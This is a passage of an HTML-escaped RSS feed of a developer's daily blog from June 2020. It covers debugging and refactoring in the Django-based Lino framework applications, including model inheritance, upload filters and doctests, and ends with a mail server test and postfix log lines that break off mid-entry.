                &lt;span class="s1"&gt;&amp;#39;contacts.Partner&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;invoice_account_field_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="n"&gt;dd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ForeignKey&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
                    &lt;span class="s1"&gt;&amp;#39;ledger.Account&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                    &lt;span class="n"&gt;verbose_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;tt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;invoice_account_field_label&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                    &lt;span class="n"&gt;on_delete&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;PROTECT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                    &lt;span class="n"&gt;related_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;partners_by_&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;tt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;invoice_account_field_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                    &lt;span class="n"&gt;blank&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

        &lt;span class="o"&gt;...&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;My first guess was to suspect the &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.core.inject.html#lino.core.inject.inject_field" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.inject.inject_field()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
function, which accesses undocumented Django internals and therefore might be
broken. But the problem occurs also when I downgrade my Django to 2.2.5 (the
version used on their production site), so this is not the explanation.&lt;/p&gt;
&lt;p&gt;What’s the trigger? Why does this problem occur only in &lt;a class="reference external" href="https://lino-framework.gitlab.io/presto/index.html#presto" title="(in Lino Presto)"&gt;&lt;span&gt;Lino Presto&lt;/span&gt;&lt;/a&gt; and in no
other application? Presto isn’t the only application that uses
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.accounting.html#module-lino_xl.lib.accounting" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.accounting&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Maybe the inheritance scheme? In presto (see &lt;a class="reference external" href="https://lino-framework.gitlab.io/presto/api/lino_presto.lib.contacts.html#module-lino_presto.lib.contacts" title="(in Lino Presto)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_presto.lib.contacts&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;) we
have custom  &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Partner&lt;/span&gt;&lt;/code&gt; and &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Person&lt;/span&gt;&lt;/code&gt; models, and then define
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Worker&lt;/span&gt;&lt;/code&gt; as a subclass of our custom &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Person&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino_xl.lib.contacts.models&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;Partner&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Partner&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mixins&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CreatedModified&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;Person&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Partner&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Person&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;Worker&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Person&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;SSIN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Plannable&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="o"&gt;...&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But nothing has changed with these things between the version on their
production site and the current version.&lt;/p&gt;
&lt;p&gt;I gave up the ticket for now, hoping that Tonis or Hamza have some inspiration.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0621.html</guid><pubDate>Sun, 21 Jun 2020 00:00:00 +0000</pubDate></item><item><title>Saturday, June 20, 2020</title><link>https://luc.lino-framework.org/blog/2020/0620.html</link><description>&lt;section id="saturday-june-20-2020"&gt;
&lt;h1&gt;Saturday, June 20, 2020&lt;a class="headerlink" href="#saturday-june-20-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I worked on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3697"&gt;#3697&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0620.html</guid><pubDate>Sat, 20 Jun 2020 00:00:00 +0000</pubDate></item><item><title>Friday, June 19, 2020</title><link>https://luc.lino-framework.org/blog/2020/0619.html</link><description>&lt;section id="friday-june-19-2020"&gt;
&lt;h1&gt;Friday, June 19, 2020&lt;a class="headerlink" href="#friday-june-19-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I pushed all my local changes before leaving for weekend. I worked on several
tickets in parallel and everything is “almost satisfying”. The current state
shows that MyExpiringUploads works theoretically in avanti and welfare, except
for the problem caused by &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3697"&gt;#3697&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0619.html</guid><pubDate>Fri, 19 Jun 2020 00:00:00 +0000</pubDate></item><item><title>Thursday, June 18, 2020</title><link>https://luc.lino-framework.org/blog/2020/0618.html</link><description>&lt;section id="thursday-june-18-2020"&gt;
&lt;h1&gt;Thursday, June 18, 2020&lt;a class="headerlink" href="#thursday-june-18-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Johanna confirmed that the functionality defined by &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.uploads&lt;/span&gt;&lt;/code&gt;
(see &lt;a class="reference internal" href="0616.html"&gt;&lt;span class="doc"&gt;Tuesday, June 16, 2020&lt;/span&gt;&lt;/a&gt;) is useful for &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#avanti" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Avanti&lt;/span&gt;&lt;/a&gt; as well. When no coaching history
is installed, the filtering must simply ask about the currently defined coach. I
opened a new &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3695"&gt;#3695&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I moved some demo from &lt;a class="reference external" href="https://welfare.lino-framework.org/index.html#welfare" title="(in Lino Welfare)"&gt;&lt;span&gt;Lino Welfare&lt;/span&gt;&lt;/a&gt; to &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.clients.html#module-lino_xl.lib.clients" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.clients&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; :
&lt;a class="reference external" href="https://dev.lino-framework.org/ref/demo_fixtures.html#fixture-std" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-fixture docutils literal notranslate"&gt;&lt;span class="pre"&gt;std&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and &lt;a class="reference external" href="https://dev.lino-framework.org/ref/demo_fixtures.html#fixture-demo2" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-fixture docutils literal notranslate"&gt;&lt;span class="pre"&gt;demo2&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. New plugin setting
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.uploads.Plugin.demo_coach&lt;/span&gt;&lt;/code&gt;. I converted the deprecated
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;setup_plugins()&lt;/span&gt;&lt;/code&gt; in welfare to &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.plugin.Plugin.get_plugin_configs()&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;How to “transfer” the existing translations from welfare to xl: Manually copy
the content of the welfare po files (one file per language) to the end of the xl
po files.  Then run &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-mm" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;mm&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; in xl, which will assign them to their code
files and line numbers. Then run &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-mm" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;mm&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; in welfare which will remove the
translations that are no longer used.&lt;/p&gt;
&lt;p&gt;I considered whether we should rather leave all upload types in welfare and
create another set of (similar) upload types for avanti?  The problem is that
until now they are in the pcsw fixtures (which is a design flaw for historical
reasons), and if I add demo fixtures to the clients plugin, we will have them
twice in welfare.&lt;/p&gt;
&lt;p&gt;The “Identifying document” shortcut is no longer defined in
&lt;a class="reference external" href="https://welfare.lino-framework.org/api/lino_welfare.modlib.welfare.workflows.html#module-lino_welfare.modlib.welfare.workflows" title="(in Lino Welfare)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welfare.modlib.welfare.workflows&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; but in &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.clients.html#module-lino_xl.lib.clients" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.clients&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.modlib.uploads.choicelists&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;add_shortcut&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;add&lt;/span&gt;
&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;pcsw.Client&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;id_document&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Identifying document&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;uploads.UploadsByClient&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I would have wanted to specify the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;needs_plugins&lt;/span&gt; &lt;span class="pre"&gt;=&lt;/span&gt; &lt;span class="pre"&gt;'lino_xl.lib.clients'&lt;/span&gt;&lt;/code&gt; in xl.uploads
because my comment “don’t manage dependency automatically because that would
also merge their menus” is so silly. But this has a side effect: when the clients plugin
is loaded automatically already by uploads, then e.g.  the menu command “Client
contact types” should be under the “PCSW” menu, not under “Uploads”. So I would have needed
to change the order of installed apps in welfare, which becomes visible to end
users in the ordering of the main menu.  PCSW would come before “Calendar” and
“Reception”. Not good.&lt;/p&gt;
&lt;p&gt;TODO: add_param_filter is called only for simple parameters. Why? For
MyExpiringUploads we want it to work for the coached_by param.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0618.html</guid><pubDate>Thu, 18 Jun 2020 00:00:00 +0000</pubDate></item><item><title>Tuesday, June 16, 2020</title><link>https://luc.lino-framework.org/blog/2020/0616.html</link><description>&lt;section id="tuesday-june-16-2020"&gt;
&lt;h1&gt;Tuesday, June 16, 2020&lt;a class="headerlink" href="#tuesday-june-16-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I continued to work on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3683"&gt;#3683&lt;/a&gt; (Cannot query “Eleonora …”: Must
be “Client” instance.)&lt;/p&gt;
&lt;p&gt;Remember what we had in &lt;a class="reference internal" href="0610.html"&gt;&lt;span class="doc"&gt;Wednesday, June 10, 2020&lt;/span&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;startup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;lino_book.projects.avanti1.settings&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.api.doctest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;login&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;robin&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_user&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;qs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;uploads&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Upload&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;qs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;qs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;project__coachings_by_client__user&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gt"&gt;Traceback (most recent call last):&lt;/span&gt;
&lt;span class="c"&gt;...&lt;/span&gt;
&lt;span class="gr"&gt;ValueError&lt;/span&gt;: &lt;span class="n"&gt;Cannot query &amp;quot;Robin Rood&amp;quot;: Must be &amp;quot;Client&amp;quot; instance.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;In our doctest the problem  does &lt;em&gt;not&lt;/em&gt; disappear after the first request:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;qs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;uploads&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Upload&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;qs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;qs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;project__coachings_by_client__user&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Which means that something else makes it disappear… mysterious!&lt;/p&gt;
&lt;p&gt;The root of the problem is that &lt;cite&gt;uploads.Uploads&lt;/cite&gt; has a filter parameter
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;coached_by&lt;/span&gt;&lt;/code&gt; which makes sense only when the &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.coachings.html#module-lino_xl.lib.coachings" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.coachings&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
is installed.  Django seems to not behave 100% consistently when you ask to
filter using an invalid lookup, but that’s not a big issue.&lt;/p&gt;
&lt;p&gt;In &lt;a class="reference external" href="https://welfare.lino-framework.org/index.html#welfare" title="(in Lino Welfare)"&gt;&lt;span&gt;Lino Welfare&lt;/span&gt;&lt;/a&gt; we want a filter parameter &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;coached_by&lt;/span&gt;&lt;/code&gt; for upload
files. This is different from the upload’s author.  Social agents want to see
expiring upload files for the clients they are coaching even when the uploader
was a colleague.&lt;/p&gt;
&lt;p&gt;This functionality might make sense in Avanti where they have no coaching
history.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0616.html</guid><pubDate>Tue, 16 Jun 2020 00:00:00 +0000</pubDate></item><item><title>Monday, June 15, 2020</title><link>https://luc.lino-framework.org/blog/2020/0615.html</link><description>&lt;section id="monday-june-15-2020"&gt;
&lt;h1&gt;Monday, June 15, 2020&lt;a class="headerlink" href="#monday-june-15-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;If I remember well, we got the mail on SR to work last Friday.  Test:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ echo &amp;quot;body text&amp;quot; | mail -s &amp;quot;some test&amp;quot; luc.saffre@gmx.net luc@lino-framework.org luc.saffre@gmail.com
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;/var/log/mail.log&lt;/span&gt;&lt;/code&gt; looks good:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Jun&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt; &lt;span class="mi"&gt;04&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;41&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;55&lt;/span&gt; &lt;span class="n"&gt;localhost&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;pickup&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;29082&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mf"&gt;6290E4058&lt;/span&gt;&lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1002&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;Jun&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt; &lt;span class="mi"&gt;04&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;41&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;55&lt;/span&gt; &lt;span class="n"&gt;localhost&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cleanup&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;29175&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mf"&gt;6290E4058&lt;/span&gt;&lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="mf"&gt;20200615044155.6290E4058&lt;/span&gt;&lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="nd"&gt;@mail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;Jun&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt; &lt;span class="mi"&gt;04&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;41&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;55&lt;/span&gt; &lt;span class="n"&gt;localhost&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;qmgr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;18118&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mf"&gt;6290E4058&lt;/span&gt;&lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="nd"&gt;@saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;500&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;nrcpt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;queue&lt;/span&gt; &lt;span class="n"&gt;active&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Jun&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt; &lt;span class="mi"&gt;04&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;41&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;56&lt;/span&gt; &lt;span class="n"&gt;localhost&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;29179&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mf"&gt;6290E4058&lt;/span&gt;&lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="nd"&gt;@lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;framework&lt;/span&gt;&lt;span 